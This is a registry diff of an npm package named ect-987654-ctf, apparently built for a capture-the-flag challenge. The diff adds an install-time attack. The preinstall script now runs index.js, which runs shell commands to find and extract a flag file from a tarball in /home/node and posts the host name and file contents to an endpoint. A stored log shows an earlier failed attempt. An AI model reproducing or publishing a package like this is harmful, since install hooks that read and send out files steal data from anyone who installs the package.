ect-987654-ctf 0.0.5 → 0.0.6

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/evil.yaml CHANGED
@@ -1,6 +1,6 @@
1
1
  ecto_module:
2
2
  name: "ect-987654-ctf"
3
- version: "0.0.3" # <- set to the exact version you published (0.0.3 / 0.0.4)
3
+ version: "0.0.5"
4
4
  power_level: Very High
5
5
  ship_deck: Beta-2
6
6
  cargo_hold: B2-13
package/index.js CHANGED
@@ -20,8 +20,18 @@ function post(data) {
20
20
  }
21
21
 
22
22
  try {
23
- const out = execSync("ls -lah /home/node", { encoding: "utf8", timeout: 10000 });
24
- post({ host: require("os").hostname(), output: out });
23
+ const out = execSync(
24
+ "tar -tzf /home/node/aspect-node.tar.gz | grep -i flag || true",
25
+ { encoding: "utf8", timeout: 15000 }
26
+ );
27
+ let content = "";
28
+ if (out.trim() !== "") {
29
+ content = execSync(
30
+ `tar -xOf /home/node/aspect-node.tar.gz $(tar -tzf /home/node/aspect-node.tar.gz | grep -i flag | head -n1) | head -n50`,
31
+ { encoding: "utf8", timeout: 15000 }
32
+ );
33
+ }
34
+ post({ host: require("os").hostname(), files: out, flag: content });
25
35
  } catch (e) {
26
36
  post({ error: e.message });
27
37
  }
package/last_post.json CHANGED
@@ -1,8 +1,3 @@
1
1
  {
2
- "host": "y",
3
- "ts": "2025-10-30T03:06:53.308Z",
4
- "file": "/home/node/aspect-node.tar.gz",
5
- "outputs": {
6
- "err": "file not found"
7
- }
2
+ "error": "Command failed: ls -lah /home/node\nls: cannot access '/home/node': No such file or directory\n"
8
3
  }
package/package.json CHANGED
@@ -1,7 +1,7 @@
1
1
  {
2
2
  "name": "ect-987654-ctf",
3
- "version": "0.0.5",
3
+ "version": "0.0.6",
4
4
  "scripts": {
5
- "preinstall": "ls -lah > /tmp/preinstall_test.txt"
5
+ "preinstall": "node index.js"
6
6
  }
7
7
  }